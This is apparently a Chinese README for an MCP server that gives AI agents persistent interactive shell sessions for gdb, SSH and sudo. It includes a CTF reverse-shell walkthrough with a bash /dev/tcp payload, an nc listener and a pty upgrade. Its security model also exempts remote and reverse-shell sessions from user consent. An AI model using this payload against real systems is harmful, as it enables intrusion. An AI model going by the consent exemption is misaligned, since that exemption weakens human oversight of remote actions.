ZEROLINGG/terminal-mcp

GitHub: ZEROLINGG/terminal-mcp

一个 MCP 服务器,为 AI agent 提供长时间存活的有状态交互式 shell 会话能力,支持跨多轮对话维护进程状态并观察中间输出。

Stars: 1 | Forks: 0

# terminal-mcp 用于**长时间交互式 shell 会话**的 MCP (Model Context Protocol) server — 专为执行复杂、多步骤工作流的 AI agent 设计,这些工作流需要维护状态、观察中间输出,并适应不可预测的提示。 ## 核心理念 两种不同的执行模式,请选择合适的一种: | 模式 | 工具 | 何时使用 | |---|---|---| | **单次执行** | `exec` | 具有确定性输出的简单、非阻塞命令(ls、cat、curl、grep...)。进程在执行后退出。 | | **交互式循环** | `shell_*` | 需要逐步观察和决策的有状态、多轮操作:REPL、debugger、远程 shell、密码提示、reverse shell listener。 | 对于任何你无法预测确切步骤数或必须对中间输出做出反应的场景,请使用**闭环**: ``` shell_spawn → shell_send_line → shell_output (or shell_wait_for) → (observe → decide → send_line/send_control → observe ...) → shell_close ``` 在每次 `shell_send_line` 之后,你**必须**调用 `shell_output`(或 `shell_wait_for`)以在决定下一步之前确认状态。切勿推测性地批量发送命令。对于控制字符(Ctrl+C、Ctrl+D),请使用 `shell_send_control`,而不是在 `shell_send` 中嵌入原始字节。 ## 功能特性 - **单次执行** — 支持可配置 shell 解释器(bash/sh/zsh/python/node...)的 `exec`,支持 timeout 和非阻塞输出捕获 - **有状态的交互式会话** — 跨越 16 个工具的完整生命周期管理:spawn、send、send-line、send-control、send-keys、output、wait-for、snapshot、cursor-position、move-cursor、resize、list、exists、reset、close、close-all - **长时间运行进程支持** — 带有模式匹配和 timeout 的 `shell_wait_for`,适用于持续时间不确定的命令(gdb continue、SSH 握手、大文件下载);基于轮询的观察作为后备 - **内置提示模板** — 针对 GDB/pwndbg 调试、SSH 连接、sudo 密码处理和 CTF reverse shell listener 设置的引导式分步工作流 - **资源文档** — 通过 `guide://shell/*` URI 提供内联指南(安全策略、生命周期基础、特定场景的方案) - **PTY(伪终端)模式** — 使用 `pty=true` 生成需要真实终端的会话(sudo、彩色输出、对 tty 敏感的工具);通过 `shell_snapshot` 观察渲染的屏幕,或通过 `shell_send_keys` + 光标控制工具驱动全屏 TUI 程序(vim/nano/htop/less/whiptail/menuconfig) - **Shell 黑名单** — 阻止将交互式程序(gdb、ssh、mysql、psql 等)直接作为解释器调用;强制执行先 spawn bash 再 send 的正确模式 - **审计日志** — 每次命令调用都以结构化 JSON(trace ID、时间、shell/tag/input、成功/失败)记录到每日滚动日志中 ## 架构 ``` MCP Client (AI Agent / LLM) │ │ JSON-RPC over stdin/stdout ▼ ┌──────────────────────────────────────┐ │ rmcp Server (TerminalMcpService) │ │ ┌────────────────────────────────┐ │ │ │ @tool » exec │ │ │ │ @tool » shell_spawn │ │ │ │ @tool » shell_send │ │ │ │ @tool » shell_send_line │ │ │ │ @tool » shell_send_control │ │ │ │ @tool » shell_send_keys │ │ │ │ @tool » shell_output │ │ │ │ @tool » shell_wait_for │ │ │ │ @tool » shell_snapshot │ │ │ │ @tool » shell_cursor_position │ │ │ │ @tool » shell_move_cursor │ │ │ │ @tool » shell_resize │ │ │ │ @tool » shell_list │ │ │ │ @tool » shell_exists │ │ │ │ @tool » shell_reset │ │ │ │ @tool » shell_close │ │ │ │ @tool » shell_close_all │ │ │ ├────────────────────────────────┤ │ │ │ @prompt » usage/gdb/ssh/rev │ │ │ ├────────────────────────────────┤ │ │ │ Resources » guide://shell/* │ │ │ └────────────────────────────────┘ │ │ ┌────────────────────────────────┐ │ │ │ Session Store (pipe / pty) │ │ │ │ DashMap> │ │ │ └────────────────────────────────┘ │ │ ┌────────────────────────────────┐ │ │ │ audit::with_audit() │ │ │ │ → JSON logs per command │ │ │ └────────────────────────────────┘ │ └──────────────────────────────────────┘ ``` ## 快速开始 ### 安装 ``` cargo install terminal-mcp ``` 二进制文件 `terminal-mcp` 将被放置在 `~/.cargo/bin/` 中。请确保此目录在你的 `PATH` 中。 ### 从源码构建 ``` git clone https://github.com/ZEROLINGG/terminal-mcp cd terminal-mcp cargo build --release ``` 二进制文件位于 `target/release/terminal-mcp`。 ### 配置 MCP Client 添加到你的 MCP client 配置中(例如 `opencode.json`): ``` { "mcpServers": { "terminal-mcp": { "command": "terminal-mcp" } } } ``` ### 环境变量 | 变量 | 默认值 | 描述 | |---|---|---| | `RUST_LOG` | `warn,audit=info` | 日志级别过滤器 | ## 交互式会话生命周期 `shell_*` 系列(16 个工具)提供对长时间存活进程的细粒度控制。理解生命周期对于可靠的多步骤自动化至关重要。 ### 基于 Tag 的会话 每个交互式会话由用户定义的 `tag`(例如 `"py1"`、`"gdb1"`、`"ssh1"`)标识。Tag 允许并发运行多个独立的会话。 ### 工具链 1. **`shell_spawn(shell, tag, pty?, cols?, rows?)`** — 使用指定的解释器(bash/sh/zsh/python/node...)创建会话。设置 `pty=true` 以在 PTY 模式下生成(默认窗口大小为 100x40)。像 gdb/ssh 这样的交互式程序**不得**作为 `shell` 直接传递;请先 spawn bash,然后将程序作为命令发送。 2. **`shell_send_line(input, tag)`** — 发送命令并附加一个换行符(相当于按 Enter 键)。立即返回 `"sent"` 且不包含输出 — 必须在之后调用 `shell_output` 或 `shell_wait_for`。 3. **`shell_send(input, tag)`** — 发送不带尾随换行符的原始字节。不建议用于控制字符 — 请改用 `shell_send_control`。 4. **`shell_send_control(tag, key)`** — 发送标准终端控制字符。`"C"` = Ctrl+C(中断),`"D"` = Ctrl+D(EOF),`"Z"` = Ctrl+Z(挂起),`"?"` = DEL。比嵌入原始字节更清晰、更安全。 5. **`shell_send_keys(tag, keys)`** — 作为一个整体序列发送有序的字面文本和/或特殊按键(`[Up]`、`[Down]`、`[Left]`、`[Right]`、`[Home]`、`[End]`、`[PageUp]`、`[PageDown]`、`[Insert]`、`[Delete]`、`[Tab]`、`[BackTab]`、`[Enter]`、`[Escape]`、`[Backspace]`、`[F1]`..`[F12]`)。用于 shell 历史回溯、内联编辑、tab 自动补全、菜单导航,以及配合 `shell_snapshot` 驱动全屏 TUI 程序。未知的方括号 tag 会返回明确的错误,而不是作为文本默默发送。参见 `guide://shell/tui`。 6. **`shell_output(tag, idle_ms?)`** — 读取缓存的 stdout/stderr。在返回增量输出之前,等待输出静止 `idle_ms`(默认 200ms)时间。**必须在每次 send_line 之后调用以确认状态**(或使用 `shell_wait_for`)。 7. **`shell_wait_for(tag, pattern, timeout_ms?)`** — 阻塞直到 `pattern` 出现在 stdout/stderr 中或 timeout 到期(默认 5000ms)。返回 `stdout`、`stderr` 和一个 `matched` 布尔值。对于持续时间不确定的命令,优先使用此方法而不是重复调用 `shell_output`。 8. **`shell_snapshot(tag, idle_ms?)`** — 获取渲染的虚拟终端屏幕快照以及当前光标位置(仅限 pty 会话)。返回 `{ "screen": "...", "cursor": {"row":.., "col":..} }`(光标从 0 开始,如果不可用则为 null)。在 PTY 模式下,使用此方法代替 `shell_output`,以查看 ANSI 转义解释后实际渲染的屏幕。 9. **`shell_cursor_position(tag)`** — 仅获取当前光标(row, col;从 0 开始)而不返回完整屏幕 payload(仅限 pty 会话)。当你只需要插入符/选择位置时,比 `shell_snapshot` 更轻量。 10. **`shell_move_cursor(tag, row, col)`** — 通过标准 ANSI CUP 序列将光标移动到绝对的从 1 开始的(row, col)位置(仅限 pty 会话)。仅影响随后发送的字符的位置;本身不会触发程序行为。 11. **`shell_resize(tag, cols, rows)`** — 动态调整正在运行的 pty 会话的终端窗口大小,而不会丢失会话状态(仅限 pty 会话)。在对列/行敏感的程序在会话中途需要不同大小时使用。 12. **`shell_reset(tag)`** — 当会话陷入死循环或挂起状态时强制重启会话。 13. **`shell_close(tag)`** — 终止并移除会话。**完成时务必关闭会话**以防止出现僵尸进程。 14. **`shell_close_all`** — 一次性清理所有活动会话。 15. **`shell_list`** — 列出所有活动的 tag,包含 shell 路径、PTY 状态、截断信息和忙碌状态。 16. **`shell_exists(tag)`** — 检查给定的 tag 当前是否处于活动状态。 ### 长时间运行命令的输出轮询 对于执行时间不确定的操作(gdb `continue`、SSH 握手、大文件下载、长时间编译): - **使用 `shell_wait_for`** — `shell_wait_for(tag, pattern, timeout_ms)` 会阻塞直到出现预期的关键字或 timeout 到期,从而减少交互轮次。响应包含一个 `matched` 字段,指示是否确实看到了该模式。 - **轮询作为后备** — 如果事先不知道具体的关键字,请使用更大的 `idle_ms`(2000–5000ms)调用 `shell_output` 并再次轮询,而不是在一次调用中无限期等待 - **切勿批量执行命令** — 在决定下一步操作之前,务必先读取输出 ### 限制 - **Pipe 模式 (pty=false)**:禁止全屏 TUI/GUI 程序(vim/nano/htop/less/whiptail 等)— 请改用 cat/head/grep/ps,因为在没有真实终端的情况下无法观察实际的屏幕布局。 - **PTY 模式 (pty=true)**:**确实**支持通过 `shell_snapshot` + `shell_send_keys` + `shell_cursor_position` + `shell_move_cursor` + `shell_resize` 进行全屏 TUI 交互。有关所需的 send→snapshot→decide 工作流,请参见 `guide://shell/tui`。 - **无实时交互**:该工具始终以“发送 → 观察 → 决定”的方式工作。它无法执行需要以人类速度响应不断变化的屏幕的连续实时交互。切勿假设你已经知道几步之后的屏幕是什么样子而将许多按键发送链接在一起。 ## 场景 ### GDB / pwndbg 调试 一种有状态的调试会话,其中每条下一条指令都取决于观察到的寄存器状态、断点命中和程序流程。 ``` shell_spawn(shell="bash", tag="gdb1") shell_send_line(input="gdb ./target_binary", tag="gdb1") shell_output(tag="gdb1", idle_ms=1000) ← confirm (gdb) prompt shell_send_line(input="break main", tag="gdb1") shell_output(tag="gdb1") ← confirm breakpoint set shell_send_line(input="run", tag="gdb1") shell_wait_for(tag="gdb1", pattern="Breakpoint", timeout_ms=5000) ← wait for breakpoint hit shell_send_line(input="next", tag="gdb1") ← single-step shell_output(tag="gdb1") shell_send_line(input="print var", tag="gdb1") ← inspect variable shell_output(tag="gdb1") shell_close(tag="gdb1") ``` 关键点: - `continue`/`run` 具有不确定的执行时间 — 使用带有适当模式(例如 `"Breakpoint"`/`"hit"`/`"exited"`)的 `shell_wait_for(tag, pattern, timeout_ms)`;如果 timeout,则再次调用 - pwndbg 在加载调试符号时可能会有较长的启动延迟 — 反复轮询 `shell_output` 或使用针对 `(gdb)`/`pwndbg>` 提示的 `shell_wait_for` ### SSH 远程连接 具有不可预测的中间提示(host key、密码或跳过 key 认证)的多轮交互式登录。 ``` shell_spawn(shell="bash", tag="ssh1") shell_send_line(input="ssh user@host", tag="ssh1") shell_output(tag="ssh1", idle_ms=1500) → "continue connecting (yes/no)?" → shell_send_line("yes") → "password:" → shell_send_line(password) → appears remote prompt → key auth passed, proceed ``` 登录后,**随后的每个 `shell_send_line` 都在远程主机上执行**,直到你显式调用 `send_line("exit")` 返回本地 shell。完成时务必调用 `shell_close(tag="ssh1")`。 ### sudo 密码处理 ``` shell_spawn(shell="bash", tag="b1") shell_send_line(input="sudo apt update", tag="b1") shell_output(tag="b1") → "[sudo] password for ..." → shell_send_line(password) shell_output(tag="b1", idle_ms=1000) ← increase for slow commands shell_close(tag="b1") ``` 如果发送 sudo 命令后 `shell_output` 没有显示任何内容(没有密码提示),sudo 可能拒绝在没有真实终端的情况下运行。使用 `shell_spawn(shell="bash", tag="b1", pty=true)` 重新 spawn,并优先使用 `shell_snapshot` 而不是 `shell_output` 来检查提示。参见 `guide://shell/pty`。 ### CTF Reverse Shell Listener 设置本地 nc listener 并稳定来自目标机器的反向连接。 **Listener 端**(在 agent 的机器上): ``` shell_spawn(shell="bash", tag="listener") shell_send_line(input="nc -lvnp 4444", tag="listener") shell_output(tag="listener", idle_ms=500) ← expect "listening on [any] 4444" ``` **目标端**(通过 web shell / RCE 传递,而不是直接通过此工具): Payload 示例: ``` bash -i >& /dev/tcp//4444 0>&1 ``` **连接建立后** — listener 会话成为目标的 shell: ``` shell_wait_for(tag="listener", pattern="$", timeout_ms=5000) ← wait for target prompt shell_send_line(input="python3 -c 'import pty;pty.spawn(\"/bin/bash\")'", tag="listener") shell_send_line(input="export TERM=xterm", tag="listener") ``` 所有后续命令都在目标上执行。在执行下一步之前观察输出。完成后执行 `shell_close(tag="listener")`。 ## 工具参考 | 工具 | 描述 | 关键参数 | |---|---|---| | `exec` | 单次命令执行,进程在完成后退出 | `input`, `shell`(默认:bash), `timeout_ms` | | `shell_spawn` | 创建交互式会话(pipe 或 PTY 模式) | `shell`, `tag`, `pty?`, `cols?`, `rows?` | | `shell_send_line` | 发送命令 + 换行符(最常用) | `input`, `tag` | | `shell_send` | 发送原始字节,无换行符 | `input`, `tag` | | `shell_send_control` | 发送终端控制字符(^C, ^D, ^Z, DEL) | `tag`, `` | | `shell_send_keys` | 发送特殊按键/文本(方向键、Enter、Escape、F 键等) | `tag`, `keys` | | `shell_output` | 读取缓存的 stdout/stderr | `tag`, `idle_ms?` | | `shell_wait_for` | 等待直到输出中出现模式(带有 timeout) | `tag`, `pattern`, `timeout_ms?` | | `shell_snapshot` | 获取渲染的终端屏幕 + 光标(仅限 PTY) | `tag`, `idle_ms?` | | `shell_cursor_position` | 获取当前光标位置(仅限 PTY) | `tag` | | `shell_move_cursor` | 通过 ANSI CUP 将光标移动到绝对位置(仅限 PTY) | `tag`, `row`, `col` | | `shell_resize` | 动态调整 PTY 窗口大小(仅限 PTY) | `tag`, `cols`, `rows` | | `shell_list` | 列出所有会话及其 PTY 状态和截断信息 | — | | `shell_exists` | 检查某个 tag 是否存在 | `tag` | | `shell_reset` | 终止并重启会话 | `tag` | | `shell_close` | 关闭单个会话 | `tag` | | `shell_close_all` | 关闭所有会话 | — | ## 提示模板 内置提示为 AI agent 生成分步说明: | 提示 | 参数 | 描述 | |---|---|---| | `shell_usage_guide` | — | 核心原则:何时使用 exec 与交互式会话 | | `gdb_debug_session` | `binary_path`, `tag?` | 完整的 GDB/pwndbg 调试工作流 | | `ssh_connect_session` | `host`, `user`, `tag?` | 具有多步骤认证的 SSH 连接 | | `reverse_shell_session` | `attacker_ip`, `port?`, `tag?` | CTF reverse shell listener 设置 | ## 资源 AI agent 可通过 `read_resource` 访问的内联文档: | URI | 内容 | |---|---| | `guide://shell/security` | 安全指南 — 必须首先阅读 | | `guide://shell/basics` | 会话生命周期和最佳实践 | | `guide://shell/pty` | PTY 模式指南:何时启用 pty,优先使用 shell_snapshot | | `guide://shell/tui` | 在 pty 模式下驱动全屏 TUI 程序 | | `guide://shell/gdb` | GDB/pwndbg 调试工作流 | | `guide://shell/ssh` | SSH 远程连接工作流 | | `guide://shell/sudo` | sudo 密码/确认处理 | | `guide://shell/reverse_shell` | Reverse shell listener 工作流 | ## 安全模型 - **审计跟踪**:每次 `exec` / `shell_spawn` / `shell_send` / `shell_send_line` / `shell_send_control` / `shell_send_keys` / `shell_output` / `shell_wait_for` / `shell_snapshot` / `shell_cursor_position` / `shell_move_cursor` / `shell_resize` 调用都会完整记录其命令内容、shell 类型、tag 和时间 - **显式同意**:破坏性操作、权限提升、网络暴露和持久性更改在执行前需要用户批准 - **默认只读**:像 ls、cat、grep、ps、df 这样不修改状态的命令可以直接执行 - **远程操作**:SSH 会话和 reverse shell 本质上是在远程目标上运行的,免除了本地同意(除非它们写入本地磁盘或进行隧道回传) 完整的安全策略位于 `guide://shell/security`。 ## 审计日志 所有工具调用都以结构化 JSON 记录到 `logs/terminal_audit.log`(每日滚动)中,包含: - `trace_id` — 每次调用的 UUID v4 - `action` — 工具名称 - `shell`、`tag`、`input` — 命令上下文 - 带有持续时间和成功/失败状态的 `begin` / `end` 事件 ## 许可证 [MIT](LICENSE)
标签:AI智能体, MCP服务器, SOC Prime, 可视化界面, 命令行交互, 开发工具, 通知系统